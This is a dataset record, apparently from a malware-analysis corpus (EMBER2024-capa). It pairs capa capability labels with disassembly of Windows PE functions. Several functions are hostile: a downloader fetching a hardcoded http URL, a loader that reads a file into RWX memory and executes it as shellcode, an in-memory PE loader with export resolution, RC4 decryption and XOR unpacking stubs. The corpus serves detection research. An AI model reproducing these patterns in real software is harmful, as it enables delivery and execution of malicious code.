joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1017cc0b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x102b1634], 0x3eb
mov dword [0x102b1638], 0x840
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x1029d7b4]
mov dl, byte [eax + 0x1029d785]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x1017cc36
lea eax, [ebp - 0x20]
mov dword [0x102b1638], 0x16248
mov dword [0x102b1634], 0x4b4
mov dword [ebp - 0x30], eax
call fcn.1017cf64
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.1017ca58
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x1017cd4d
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x102b1634]
add ecx, 0x2253
mov dword [0x102b1634], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1017ce5c
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [0x102b1638], 0x13bc
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x5c], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x24], ecx
mov dword [0x102b1634], 0xf7e
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x1017cd4d
mov eax, dword [ebp - 0x3c]
add eax, 0x1292
mov dword [ebp - 0x40], eax
mov dword [0x102b1638], 0x414
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add esp, 0x50
pop ebp
ret
Function at 0x1017d145
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x20
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x102b1638], 0x1ec2
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x102b1634]
add esi, 0xffffd90d
mov dword [0x102b1634], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x1017d1b9
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
jl 0x1017d18c
mov eax, dword [ebp - 0x1c]
mov dword [0x102b1638], 0x1559
mov dword [0x102b1634], 0xff6
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1017d241
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1017d241
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1017d241
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1017d241
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1017d241
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1017d241
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
je 0x1017d248
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1017d248
mov eax, dword [ebp - 0x24]
add esp, 0x20
pop esi
pop ebp
ret
Function at 0x1017d66b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0xfffff521
xor ebx, ebx
mov dword [0x102b1634], 0x56f
mov dword [0x102b163c], 0
mov dword [0x102b1640], 0
mov dword [0x102b164c], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x1017d806
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, 0x100
mov dword [0x102b1638], 0x1770
add ecx, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102b163c], edx
mov ecx, dword [ebp - 0x24]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x34]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x102b1640], edx
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x102b1644], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x102b1634]
add edx, 0xffffdfde
mov dword [0x102b1638], edx
mov cl, byte [0x102b1644]
mov edx, dword [0x102b1640]
mov byte [edi + edx], cl
mov edx, dword [0x102b1634]
add edx, 0x264e
mov dword [0x102b1634], edx
mov edx, dword [0x102b163c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x102b1640]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x102b164c], ebx
mov dword [0x102b1634], 0x2274
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov byte [0x102b1651], ch
mov byte [0x102b1652], cl
xor ch, cl
mov byte [0x102b1650], ch
mov dword [0x102b1638], 0x2bc2
mov dword [0x102b1634], 0x422
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x3c], ebx
je 0x1017d7f9
mov eax, dword [0x102b163c]
mov ecx, dword [0x102b1640]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], edx
jmp 0x1017d6d6
mov eax, dword [0x102b1634]
add eax, 0xffffefb2
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [0x102b1634], eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1017d816
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov eax, dword [0x102b1634]
add eax, 0xfffff5ce
mov dword [0x102b1638], eax
call fcn.10001087
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
je 0x1017d865
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x28]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x24], eax
jmp 0x1017d8f0
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [0x102b1634], 0x1bb6
mov dword [esp], eax
mov dword [esp + 0x20], ecx
call fcn.1017c397
lea ecx, [0x1017cd55]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x70], edx
mov dword [esp + 0x98], 0x146c00
mov edx, dword [0x102b1620]
mov dword [esp + 0x8c], edx
mov edx, dword [0x102b1624]
mov dword [esp + 0x94], edx
mov edx, dword [0x102b1628]
mov dword [esp + 0x60], edx
mov edx, dword [0x102b162c]
mov dword [esp + 0x48], edx
mov dword [0x102b1638], 0x17d1
mov edx, dword [0x102b1630]
mov dword [esp + 0x78], edx
mov dword [0x102b1634], 0x4b6
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x28], eax
jne 0x1017d84e
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x18], ecx
jne 0x1017d84e
lea eax, [esp + 0x40]
add eax, 0x2c
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
mov dword [eax], ecx
mov dword [0x102b1634], 0x9dc
mov dword [0x102b1638], 0x3990
mov edx, dword [esp + 0x18]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x90], esi
call fcn.1017d145
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
jne 0x1017d9ad
mov dword [0x102b1634], 0x1644
mov eax, dword [esp + 0x38]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x40]
mov dword [esp], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 4], eax
call fcn.1017cc0b
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x102b1638], 0xe1d
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
jmp 0x1017d844
Function at 0x4017b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4188c6
push eax
mov eax, 0x10b8
mov dword fs:[0], esp
call fcn.00413540
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x401926
push 0
push 0x80000000
push 0
push 0
push str.http:__duazx.com_index_index_id7
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x40191f
lea eax, [ebp - 0xc0]
push eax
call fcn.004020d0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x68], 0
je 0x4018be
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x10]
push ecx
push 0x1000
lea edx, [ebp - 0x10c0]
push edx
push esi
call edi
test eax, eax
je 0x401884
lea ecx, [ecx]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401884
push 0
push eax
lea eax, [ebp - 0x10c0]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.00401c50
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10c0]
push eax
push esi
call edi
test eax, eax
jne 0x401850
lea ecx, [ebp - 0xbc]
call fcn.00403100
test eax, eax
jne 0x4018be
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xb4]
lea ecx, [ebp + ecx - 0xc0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x4018b6
or eax, 4
push 0
push eax
call fcn.004014e0
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x60]
mov dword [ebp - 0x14], edx
mov dword [ebp + ecx - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 1
call fcn.00402220
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x60]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
push ecx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.004041fb
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push str.C:UsersPublicDocumentslind.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403230
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x418778
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
mov ebx, ecx
xor esi, esi
cmp dword [ebx + 0x44], esi
je 0x403411
cmp byte [ebx + 0x49], 0
je 0x403411
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x403284
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 8
lea eax, [ebp - 0x2c]
push esi
push eax
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
call fcn.004075a0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x1c], 8
jae 0x4032b4
lea eax, [ebp - 0x2c]
push edi
mov byte [eax + 8], 0
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4032ce
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x10]
push edi
push edx
mov edx, dword [esi + 0x18]
push eax
lea eax, [ebx + 0x4c]
push eax
call edx
sub eax, 0
je 0x403311
dec eax
je 0x403315
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4033ef
call fcn.00401bf0
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edi, 0x10
jae 0x403325
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, ecx
je 0x403352
cmp edi, 0x10
jae 0x403334
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040782f
add esp, 0x10
cmp esi, eax
jne 0x4033e4
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4033ec
test esi, esi
jne 0x4032c2
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x403407
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x403407
cmp edi, esi
jae 0x4033cd
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403ac0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x4032c2
cmp edi, 0x10
jae 0x4033a5
lea eax, [ebp - 0x2c]
add eax, dword [ebp - 0x1c]
push 8
push 0
push eax
call fcn.004075a0
mov eax, dword [ebp - 0x2c]
add esp, 0xc
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x1c], esi
jae 0x4033c4
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x4032bc
test esi, esi
jne 0x40339d
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4033dc
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x4032bc
lea ecx, [ebp - 0x2c]
jmp 0x4032f9
lea ecx, [ebp - 0x2c]
call fcn.00401bf0
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.004045ea
mov ecx, dword [ebp - 0xc]
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x403880
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4186fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040473e
push 4
mov dword [ebp - 4], 0
call fcn.00407a2c
mov edi, eax
add esp, 4
test edi, edi
je 0x4038f7
push ebx
call fcn.00404506
mov dword [edi], eax
call fcn.004042c5
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.004046ff
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4038ec
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00404727
pop ebx
jmp 0x4038f9
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x4080a6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f788]
jne 0x4080b0
repz ret
jmp fcn.0040eb2c
Function at 0x413d05
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f788]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040d857
and dword [ebp - 0x14], 0
cmp dword [0x4216e8], 0
mov dword [ebp - 0x18], eax
jne 0x413db8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x413e60
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x413e60
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4216e8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4216ec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4216f0], eax
call edi
push eax
call esi
mov dword [0x4216f8], eax
test eax, eax
je 0x413db8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4216f4], eax
mov eax, dword [0x4216f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x413e11
cmp dword [0x4216f8], ecx
je 0x413e11
push eax
call esi
push dword [0x4216f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x413e11
test ebx, ebx
je 0x413e11
call edi
test eax, eax
je 0x413e08
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x413e08
test byte [ebp - 8], 1
jne 0x413e11
or dword [ebp + 0x10], 0x200000
jmp 0x413e44
mov eax, dword [0x4216ec]
cmp eax, dword [ebp - 0x18]
je 0x413e44
push eax
call esi
test eax, eax
je 0x413e44
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x413e44
mov eax, dword [0x4216f0]
cmp eax, dword [ebp - 0x18]
je 0x413e44
push eax
call esi
test eax, eax
je 0x413e44
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4216e8]
call esi
test eax, eax
je 0x413e60
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x413e62
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004080a6
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x9dccd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9dcd1c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9dcce2
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9dcd80
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9dcdd2
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9dcdd8
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x9f52c5
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009f4f85

Function at 0x9fa0bf
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009f9f3e

Function at 0x9ff670
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x9ff69d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x9ff69d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x30]
mov ebx, dword [esp + 0x34]
test ecx, ecx
mov esi, dword [eax + 2]
je 0x401e30
mov edx, ebx
mov eax, ebx
add edx, 0x2869f
jae 0x401db5
jmp 0x401e34
inc eax
cmp edx, eax
jb 0x401e34
cmp dword [eax], esi
mov ebx, eax
jne 0x401db0
mov esi, ecx
mov edx, 4
mov eax, 0x40
mov dword [esp + 4], edx
lea edi, [esp + 0x1c]
mov dword [esp + 0xc], edi
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.KERNEL32.dll_VirtualProtect
mov ecx, 4
mov dword [ebx], esi
mov esi, 4
sub esp, 0x10
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], edi
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 8], esi
